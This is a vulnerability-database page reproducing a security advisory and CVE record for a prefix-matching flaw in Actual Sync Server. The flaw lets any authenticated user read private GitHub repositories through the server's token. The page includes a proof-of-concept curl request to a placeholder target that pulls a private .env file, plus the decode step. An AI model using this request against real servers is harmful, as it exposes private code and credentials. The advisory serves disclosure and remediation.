Vulnerability-Lookup

GHSA-M62C-5Q34-F3CF

Vulnerability from github – Published: 2026-10-07 14:00 – Updated: 2026-10-07 14:00

Summary

Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token

Details

Summary

Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.

The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:

https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases

Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.

Affected Endpoint

GET /cors-proxy?url=...

This endpoint is mounted only when:

if (config.get('corsProxy.enabled')) {
  app.use('/cors-proxy', corsApp.handlers);
}

Source: packages/sync-server/src/app.ts:68-70

Details

The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:

github: {
  token: {
    doc: 'GitHub Personal Access Token for API authentication.',
    format: String,
    default: '',
    env: 'ACTUAL_GITHUB_TOKEN',
  },
},
corsProxy: {
  enabled: {
    doc: 'Enable the CORS proxy endpoint.',
    format: Boolean,
    default: false,
    env: 'ACTUAL_CORS_PROXY_ENABLED',
  },
},

Source: packages/sync-server/src/load-config.js:280-296

The proxy fetches the plugin allowlist and stores repository URLs:

const response = await fetch(
  'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);

Source: packages/sync-server/src/app-cors-proxy.js:43-50

The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:

for (const repoUrl of allowlistedRepos) {
  const { pathname } = new URL(repoUrl);
  const [, repoOwner, repoName] = pathname.split('/');

  if (
    targetUrl === repoUrl ||
    targetUrl.startsWith(repoUrl + '/') ||
    (hostname === 'api.github.com' &&
      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
    ...
  ) {
    return true;
  }
}

Source: packages/sync-server/src/app-cors-proxy.js:84-99

For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.

After this incorrect allowlist decision, the proxy attaches the server's GitHub token:

const githubToken = config.get('github.token');
if (
  githubToken &&
  (url.hostname === 'api.github.com' ||
    url.hostname === 'raw.githubusercontent.com' ||
    (url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
  requestHeaders['Authorization'] = `Bearer ${githubToken}`;
  requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}

Source: packages/sync-server/src/app-cors-proxy.js:192-201

Therefore the vulnerable flow is:

A public plugin repository is allowlisted, for example https://github.com/acme/plugin.
The same owner has a private repository with a prefix-matching name, for example acme/plugin-private.
The Actual server has ACTUAL_CORS_PROXY_ENABLED=true.
The Actual server has ACTUAL_GITHUB_TOKEN with access to acme/plugin-private.
Any authenticated Actual user calls:

/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env

isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin.
The proxy sends the request to GitHub with the server token.
The response is returned to the low-privileged Actual user.

PoC

Preconditions

ACTUAL_CORS_PROXY_ENABLED=true.
ACTUAL_GITHUB_TOKEN is configured and can read a private repo.
The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
The attacker has any valid Actual session token.

Example:

Allowlisted public repo: https://github.com/acme/plugin
Private target repo: https://github.com/acme/plugin-private
Private file: .env

Manual Reproduction

Step 1: Request a private repo file through the Actual CORS proxy:

curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
  -H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"

Vulnerable result:

{
  "name": ".env",
  "path": ".env",
  "encoding": "base64",
  "content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}

Step 2: Decode the returned content field:

echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d

Example decoded output:

PROD_DB_PASSWORD=...

Python PoC

Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.

The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.

Impact

Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.

Recommended Remediation

Parse and compare GitHub API repository path segments exactly.
Replace:

url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)

with an exact boundary-aware check:

url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)

Apply the same boundary discipline to every allowlist branch.
Add regression tests showing that an allowlisted owner/plugin does not authorize owner/plugin-private.
Consider never attaching ACTUAL_GITHUB_TOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 26.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/sync-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T14:00:45Z",
    "nvd_published_at": "2026-09-25T23:16:53Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nActual Sync Server\u0027s CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server\u0027s GitHub token to GitHub requests.\n\nThe GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:\n\n```text\nhttps://api.github.com/repos/acme/plugin-private/contents/.env\nhttps://api.github.com/repos/acme/plugin-secrets/actions/secrets\nhttps://api.github.com/repos/acme/plugin-internal/releases\n```\n\nThose URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server\u0027s `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.\n\n## Affected Endpoint\n\n- `GET /cors-proxy?url=...`\n\nThis endpoint is mounted only when:\n\n```js\nif (config.get(\u0027corsProxy.enabled\u0027)) {\n  app.use(\u0027/cors-proxy\u0027, corsApp.handlers);\n}\n```\n\nSource: `packages/sync-server/src/app.ts:68-70`\n\n## Details\n\nThe CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:\n\n```js\ngithub: {\n  token: {\n    doc: \u0027GitHub Personal Access Token for API authentication.\u0027,\n    format: String,\n    default: \u0027\u0027,\n    env: \u0027ACTUAL_GITHUB_TOKEN\u0027,\n  },\n},\ncorsProxy: {\n  enabled: {\n    doc: \u0027Enable the CORS proxy endpoint.\u0027,\n    format: Boolean,\n    default: false,\n    env: \u0027ACTUAL_CORS_PROXY_ENABLED\u0027,\n  },\n},\n```\n\nSource: `packages/sync-server/src/load-config.js:280-296`\n\nThe proxy fetches the plugin allowlist and stores repository URLs:\n\n```js\nconst response = await fetch(\n  \u0027https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json\u0027,\n);\n...\nconst plugins = await response.json();\nallowlistedRepos = plugins.map(plugin =\u003e plugin.url);\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:43-50`\n\nThe GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:\n\n```js\nfor (const repoUrl of allowlistedRepos) {\n  const { pathname } = new URL(repoUrl);\n  const [, repoOwner, repoName] = pathname.split(\u0027/\u0027);\n\n  if (\n    targetUrl === repoUrl ||\n    targetUrl.startsWith(repoUrl + \u0027/\u0027) ||\n    (hostname === \u0027api.github.com\u0027 \u0026\u0026\n      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||\n    ...\n  ) {\n    return true;\n  }\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:84-99`\n\nFor `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.\n\nAfter this incorrect allowlist decision, the proxy attaches the server\u0027s GitHub token:\n\n```js\nconst githubToken = config.get(\u0027github.token\u0027);\nif (\n  githubToken \u0026\u0026\n  (url.hostname === \u0027api.github.com\u0027 ||\n    url.hostname === \u0027raw.githubusercontent.com\u0027 ||\n    (url.hostname === \u0027github.com\u0027 \u0026\u0026 url.pathname.includes(\u0027/releases/\u0027)))\n) {\n  requestHeaders[\u0027Authorization\u0027] = `Bearer ${githubToken}`;\n  requestHeaders[\u0027User-Agent\u0027] = \u0027Actual-Budget-Plugin-System\u0027;\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:192-201`\n\nTherefore the vulnerable flow is:\n\n1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.\n2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.\n3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.\n4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.\n5. Any authenticated Actual user calls:\n\n```text\n/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\n```\n\n6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.\n7. The proxy sends the request to GitHub with the server token.\n8. The response is returned to the low-privileged Actual user.\n\n## PoC\n\n### Preconditions\n\n1. `ACTUAL_CORS_PROXY_ENABLED=true`.\n2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.\n3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.\n4. The attacker has any valid Actual session token.\n\nExample:\n\n- Allowlisted public repo: `https://github.com/acme/plugin`\n- Private target repo: `https://github.com/acme/plugin-private`\n- Private file: `.env`\n\n### Manual Reproduction\n\nStep 1: Request a private repo file through the Actual CORS proxy:\n\n```bash\ncurl -s \"http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\" \\\n  -H \"X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION\"\n```\n\nVulnerable result:\n\n```json\n{\n  \"name\": \".env\",\n  \"path\": \".env\",\n  \"encoding\": \"base64\",\n  \"content\": \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\"\n}\n```\n\nStep 2: Decode the returned `content` field:\n\n```bash\necho \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\" | base64 -d\n```\n\nExample decoded output:\n\n```text\nPROD_DB_PASSWORD=...\n```\n\n### Python PoC\n\nAttached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.\n\nThe PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub\u0027s API response is returned to the low-privileged Actual user.\n\n## Impact\n\n- Any authenticated Actual user can use the server\u0027s GitHub token against prefix-matched repositories outside the plugin allowlist.\n- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.\n- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.\n- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.\n\n## Recommended Remediation\n\n- Parse and compare GitHub API repository path segments exactly.\n- Replace:\n\n```js\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)\n```\n\nwith an exact boundary-aware check:\n\n```js\nurl.pathname === `/repos/${repoOwner}/${repoName}` ||\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)\n```\n\n- Apply the same boundary discipline to every allowlist branch.\n- Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.\n- Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.",
  "id": "GHSA-m62c-5q34-f3cf",
  "modified": "2026-10-07T14:00:45Z",
  "published": "2026-10-07T14:00:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token"
}

CVE-2026-57449 (GCVE-0-2026-57449)

Vulnerability from cvelistv5 – Published: 2026-09-25 22:10 – Updated: 2026-09-28 13:07

Title

Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token

Summary

Actual is a local-first personal finance tool. Prior to 26.7.0, Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server's GitHub token to GitHub requests. The GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs. Those URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server's `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token. Version 26.7.0 fixes the issue.

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-28 13:07 UTC

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-284 - Improper Access Control
CWE-863 - Incorrect Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7637 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/actualbudget/actual/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
actualbudget	actual	Affected: < 26.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-57449",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-28T13:07:03.977402Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-28T13:07:46.380Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "actual",
          "vendor": "actualbudget",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Actual is a local-first personal finance tool. Prior to 26.7.0, Actual Sync Server\u0027s CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server\u0027s GitHub token to GitHub requests. The GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs. Those URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server\u0027s `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token. Version 26.7.0 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-25T22:10:39.706Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf"
        }
      ],
      "source": {
        "advisory": "GHSA-m62c-5q34-f3cf",
        "discovery": "UNKNOWN"
      },
      "title": "Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-57449",
    "datePublished": "2026-09-25T22:10:39.706Z",
    "dateReserved": "2026-06-24T13:21:20.730Z",
    "dateUpdated": "2026-09-28T13:07:46.380Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-M62C-5Q34-F3CF

Summary

Affected Endpoint

Details

PoC

Preconditions

Manual Reproduction

Python PoC

Impact

Recommended Remediation

CVE-2026-57449 (GCVE-0-2026-57449)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour